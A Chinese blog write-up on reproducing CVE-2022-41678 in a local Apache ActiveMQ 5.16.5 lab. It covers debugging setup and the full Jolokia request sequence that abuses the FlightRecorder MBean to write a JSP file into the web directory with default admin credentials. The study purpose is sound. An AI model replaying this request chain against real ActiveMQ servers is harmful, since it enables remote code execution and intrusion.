目录
前言:
不太会调试,所以复现得很困难,踩了不少坑,记录此篇,比较详细。
参考文章:
Apache ActiveMQ Jolokia 远程代码执行漏洞(CVE-2022-41678)分析 | l3yx's blog
一、漏洞原理
ActiveMQ中,经过身份验证的用户默认情况下可以通过/api/jolokia/
接口操作MBean,其中FlightRecorder可以被用于写Jsp WebShell,从而造成远程代码执行漏洞
FlightRecorder存在于Jdk 11+,具体类名:jdk.management.jfr.FlightRecorderMXBeanImpl
主要问题出在FlightRecorder这个Mbean,功能是记录内存,gc,调用栈等,漏洞用到的方法主要是以下几个
- newRecording
- 新建记录
- setConfiguration
- 更改配置
- startRecording
- 开始录制
- stopRecording
- 结束录制
- copyTo
- 导出录制文件
漏洞思路是通过setConfiguration修改配置,把一些键名改成jsp代码,记录的数据就会包含该jsp代码,录制完成后,通过copyTo导出到web目录即可
代码位置在 jdk.management.jfr.FlightRecorderMXBeanImpl#setConfiguration
二、影响范围
- Apache ActiveMQ before 5.16.6
- Apache ActiveMQ 5.17.0 before 5.17.4
- Apache ActiveMQ 5.18.0 unaffected
- Apache ActiveMQ 6.0.0 unaffected
三、复现准备
本地搭建环境复现,我使用的版本是5.16.5,大家可以按照意愿跳转以下链接的上级目录自由选择版本进行下载。
1、11及以上的jdk
如果不会安装或者不知道下载地址可看我的另一篇文章:
win10安装多版本jdk 自由切换java版本-CSDN博客
2、源码文件
以下进行操作时统称为源码。
3、打包好的项目文件
以下进行操作时统称为项目文件。
下载链接:Index of /dist/activemq/5.16.5 (apache.org)
四、实现步骤
1、修改项目文件的wrapper.conf
文件位置:apache-activemq-5.16.5-bin\apache-activemq-5.16.5\bin\win64\wrapper.conf
用记事本打开文件即可,如下图,将该位置的两条语句去掉注释,并将两个“n”分别修改为13、14,保存。
2、运行该项目
运行wrapper.conf同级目录下的activemq.bat,出现如下界面则运行成功。
浏览器访问:127.0.0.1:8161
默认用户名/密码:admin/admin
首页如下:
3、将源码导入idea
文件——打开——选择源码位置进行导入。
4、安装依赖
4.1 查看pom.xml
如果没有安装好依赖,这个文件应该会有很多处标红,我这里已经安装好了,所以没有红色。
4.2 安装依赖
如图,右侧存在maven工具栏。
如果出错,可以试一下在终端使用命令行安装。
注意:一定要切换到和pom.xml同级目录下再执行命令。
mvn clean install #先试下执行这条命令
mvn clean install -Dmaven.test.skip=true #上一条执行后输出有报错再执行这条,否则不用
如果实在不行还存在标红,可以继续向下做步骤,虽然不知道原因,但好像有一点标红不影响接下来的操作,可能是我们需要的断点还没到报错的位置吧。
5、设置项目结构
文件——项目结构
如图配置,这里用的是jdk11。
6、设置maven导入器和运行程序
设置导入器JDK,这里设置为jdk11。
文件——设置——构建、执行、部署——构建工具——maven
如图设置运行程序jre,记得应用配置。
7、设置JVM远程调试
8、添加断点
按两次shift弹出搜索框,可能你的快捷键和我不同,注意一下。
索索关键词:setPredefinedConfiguration
双击搜索得到的结果来到该方法所在位置,鼠标点击下图中小红点的位置设置断点,如果没有跳到图中位置,而是相同关键词的其他地方,可以试试点击最左边的小绿点。
9、开始调试
如图。
10、发送触发包
10.1 访问activemq首页的时候抓包
10.2 改包
添加字段:Origin: http://127.0.0.1:8161
修改请求路径为:/api/jolokia/list
在返回的相应包中检查是否有FlightRecorder,必须有这个,没有就不能继续。
注意:若发包无响应,则先停止调试再发包。
效果如下图:
确定有以上提到的字段后,开始构造触发包,这里必须打开调试。
修改请求方式改为POST
修改请求路径为:/api/jolokia
添加请求正文:
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "setPredefinedConfiguration",
"arguments": [1,"s"]
}
如下,点击send发包。
发包后,idea中反应如图:
11、查找配置文件
右键——计算表达式
如图,找到并复制配置文件内容。
12、构造payload
将配置文件内容保存到新的文件中,将图示位置修改为以下jsp代码,特殊字符要实体化编码:
everyChunk <%out.println("I am here aaaaaaaaaaaaaaaaaaa!");%>
将所有"都替换成\",负责待会儿发包时最外层有双引号会冲突。
编辑——查找——替换
关闭调试。
13、新建记录
请方才抓包的请求体修改如下:
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "newRecording",
"arguments": []
}
记住返回的value值,之后都用这个值。
14、更改配置
修改请求体:
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "setConfiguration",
"arguments": [1,"..."]
}
#...替换为上面构造的payload配置文件内容
如图:
15、开始录制
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "startRecording",
"arguments": [1]
}
16、结束录制
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "stopRecording",
"arguments": [1]
}
17、导出到web目录
如果导出不成功,检查一下自己的webapps目录在哪个位置。
{
"type": "EXEC",
"mbean": "jdk.management.jfr:type=FlightRecorder",
"operation": "copyTo",
"arguments": [1,"../../webapps/admin/test.jsp"]
}
18、浏览器访问jsp
http://127.0.0.1:8161/admin/test.jsp
如图成功: